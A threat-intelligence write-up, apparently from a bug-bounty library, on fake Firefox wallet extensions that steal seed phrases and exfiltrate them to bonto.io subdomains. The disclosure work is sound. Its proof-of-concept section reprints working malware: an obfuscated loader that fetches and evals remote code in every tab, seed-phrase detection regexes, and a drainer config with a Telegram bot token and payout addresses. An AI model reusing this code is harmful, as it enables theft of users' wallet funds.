# Malicious Firefox Extensions Impersonate Phantom, Jupiter, and Bitget to Steal Wallet Secrets

Malicious Firefox extensions impersonating Phantom, Jupiter and Bitget steal recovery phrases and private keys via homoglyph names and exfiltrate to bonto.io subdomains.

- Payout: Real-world hack
- Severity: high
- Program: Mozilla
- Analysis by: Kush Pandya
- Disclosed: 2026-10-27
- Write-up quality: 8/10
- Original: https://socket.dev/blog/firefox-wallet-impersonators
- Library page: https://bugbountylibrary.com/r/blog%3Asocket-dev-blog-firefox-wallet-impersonators
- Tags: area:os domain:browser impact:data-leak impact:funds-loss kind:incident platform:threat-intel sev:high tech:firefox technique:js-analysis technique:source-review vuln:misconfiguration vuln:secrets-leak

**Target:** Firefox browser extensions (AMO listings) impersonating crypto wallets
**Root cause:** Extensions request all-sites/tabs/scripting permissions and inject a stealer into the main world (or bundle it) that reads inputs, paste/focusout events, page text and hooks the injected Solana provider to capture seed phrases and private keys, exfiltrating to brand-named bonto.io subdomains.
**Steps:**
1. Publish AMO listing with homoglyph display name (e.g. `𝐏ha𝐧†օ𝗺`) and copied icon/copy from real Phantom.
2. Request permissions for tabs and all websites while declaring no data collection.
3. Append loader to background/serviceWorker.js that rebuilds C2 from char-code array `[112,104,97,...]` -> `phantom.bonto.io`, fetches `/config`.
4. Config returns `{active:true, code:<base64>}`; loader decodes with `atob` and runs via `browser.scripting.executeScript` with `world:'MAIN'`, falling back to isolated world.
5. Stealer reads all input/textarea values, listens for paste/focusout, regex-scans page text for numbered seed grid `\b\d{1,2}[\.\):\s]\s*([a-z]{3,8})\b` with `gi` flags, and hooks `window.phantom.solana.connect` to capture pubkey.
6. POST captured JSON to C2 endpoint with fetch, XHR fallback, dedupe set.
7. Bundled server.js logs secrets, forwards to Telegram bot, sweeps funds to hardcoded EVM/Solana/Bitcoin addresses.
**How found:** Socket threat researchers spotted homoglyph-named AMO listings impersonating major wallets, then reviewed signed bundles and found char-code-obfuscated C2 loader, bundled stealers, and a Node.js drainer backend shipped inside the add-on.
**Exploitation:** Victim installs fake extension from AMO search, enters or reveals recovery phrase during import; stealer captures it in main world and exfiltrates to bonto.io; operator's bundled drainer sweeps assets across ETH, BSC, Polygon, Arbitrum, Optimism, Base, Avalanche, Solana and Bitcoin to hardcoded addresses.
**Escalation:** Phantom variant adds runtime loader so operator can swap payload after Mozilla review ('approval flip' via server-review.js returning inactive config during review); rating manipulation (275->546 reviews, 2.9->3.9) pushes down loss reports.
**Insight:** Signed extension bundles can ship the full stealer plus a review-gated loader; check for char-code arrays decoding to C2 hosts, `executeScript` with `world:'MAIN'`, and bundled server.js/drainer files with hardcoded payout addresses and Telegram tokens.

## Proof of concept (copied exactly from the original report)

**Phantom loader fetching and eval'ing remote stealer**

```
var _c=[112,104,97,110,116,111,109,46,98,111,110,116,111,46,105,111].map(function(n){return String.fromCharCode(n);}).join('');
 var _cfg='https://'+_c+'/config';
 var _sk='_px';

 async function _inj(tabId,src){
 // try MAIN world first (works on http/https dapp tabs, gives us window access)
 // fall back to ISOLATED (works on moz-extension:// own pages, still reads DOM/inputs)
 try{
 await browser.scripting.executeScript({
 target:{tabId:tabId},
 func:function(c){(0,eval)(c);},
 args:[src],
 world:'MAIN'
 });
 return;
 }catch(e){}
 try{
 await browser.scripting.executeScript({
 target:{tabId:tabId},
 func:function(c){(0,eval)(c);},
 args:[src]
 });
 }catch(e){}
 }

 async function _init(){
 try{
 var r=await fetch(_cfg,{cache:'no-store'});
 var cfg=await r.json();
 if(!cfg.active||!cfg.code)return;
 var src=atob(cfg.code);
 await browser.storage.local.set({[_sk]:src});
 var tabs=await browser.tabs.query({});
 for(var i=0;i<tabs.length;i++){
 var tab=tabs[i];
 if(!tab.id||tab.id<0)continue;
 await _inj(tab.id,src);
 }
 }catch(e){}
 }

 browser.tabs.onUpdated.addListener(async function(tabId,info){
 if(info.status!=='complete')return;
 try{
 var data=await browser.storage.local.get(_sk);
 if(!data[_sk])return;
 await _inj(tabId,data[_sk]);
 }catch(e){}
 });
 browser.runtime.onInstalled.addListener(function(){setTimeout(_init,2000);});
 browser.runtime.onStartup.addListener(function(){setTimeout(_init,2000);});
 setTimeout(_init,2000);
})();
```

**Seed phrase and private key detection regexes**

```
function _isSeedWords(arr){
 return (arr.length===12||arr.length===15||arr.length===18||arr.length===24)&&arr.every(function(w){return/^[a-z]{3,8}$/.test(w);});
}
function _isKey(s){
 if(typeof s!=='string')return false;
 return/^(0x)?[0-9a-fA-F]{64}$/.test(s.trim())||/^[1-9A-HJ-NP-Za-km-z]{87,88}$/.test(s.trim());
}
```

**Bundled drainer server with Telegram token and payout addresses**

```
const TG_TOKEN = '8834114695:AAGC99--r8KFikBpDw5JCkAteIc4cRi2VTU';
const TG_CHAT = '-5433023573';
const DEST = {
 evm: '0x93ce11fAA9FC83741e8b392879b383bcc5f7f3Ad',
 sol: 'GCo8tAh5WjAuH51bnRZtkmKDRuoXHFDNz9MZY25Zuvsr',
 btc: 'bc1qrsfyjrsel924nny9q0qak5cfyf7pahmsydwnrq',
};
```

